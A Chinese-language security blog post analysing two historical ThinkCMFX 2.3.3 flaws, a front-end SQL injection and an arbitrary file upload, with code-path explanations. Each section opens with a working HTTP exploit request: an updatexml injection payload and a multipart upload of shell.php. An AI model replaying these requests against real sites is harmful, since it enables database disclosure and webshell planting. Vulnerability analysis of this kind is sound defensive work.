历史漏洞分析之ThinkCMFX(一)
环境
php5.6+ThinkCMFX 2.3.3+debian
前台SQL注入
exp
POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1
Host: localhost
Connection: close
Cookie: PHPSESSID=kcg5v82ms3v13o8pgrhh9saj95
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+-
漏洞成因
Thinkphp3.x SQL一大鸡肋之处就是需要where函数可控,ThinkCMF可以SQL注入,就是利用调用where函数之处参数可控。当然在框架下的基本都是PDO调用可利用可以多考虑多语句注入,注意编译报错、绑定错误导致注入失败。
还有许多地方有sql注入,就不一一分析,原理相似。具体见:https://github.com/thinkcmf/cmfx/issues/26
漏洞分析
I方法解析POST方式传入的参数,赋值给$article并取出’id’键,传入where函数中
where函数将传入的参数赋值到options['where'
],返回options
接着调用save
函数,再调用update
函数.接着进入parseWhereItem函数,满足'bind'==$exp
直接拼接0+and+(updatexml(1,concat(0x7e,(select database()),0x7e),1))
.
最后将拼接完的sql语句,传入execute方法执行.成功进行预编译、参数绑定
/ThinkCMFX/simplewind/Core/Library/Think/Db/Driver.class.php
前台任意文件上传
exp
POST /cms/ThinkCMFX/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=3s9fhojod2n1op7esv3e6gab91
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 235
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php phpinfo();?>
-----------------------------4714631421141173021852555099--
漏洞成因
对错误管理并未直接Down掉程序,造成图片配置$config配置畸形.且存在二次赋值$_FILES
也为前者图片配置构造畸形铺路
漏洞分析
传入$filetype='file'
,sp_get_upload_setting调用系统默认配置,$allowed_exts由于explode无法拆分二维数组报错返回NULL.
代码继续往下执行,进入upload方法,观察第120行,如果参数不存在会直接赋值全局变量$_FILES
,这也造成一定隐患。因为文件默认配置会放在ueditor_upload方法入口前几行,由于传入的$_FILES
数组不符合参数规则,会造成报错,即后续$config配置会置为空
继续跟进代码,在后续对后缀检测,由于$config[‘exts’]=NULL,即使文件为非法后遭”php”直接绕过检测
在之后的文件名生成,调用uniqid方法生成文件名,可以通过多上传文件进行文件名字爆破
最后调用save方法,move_uploaded_file
保存文件.
参考链接
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!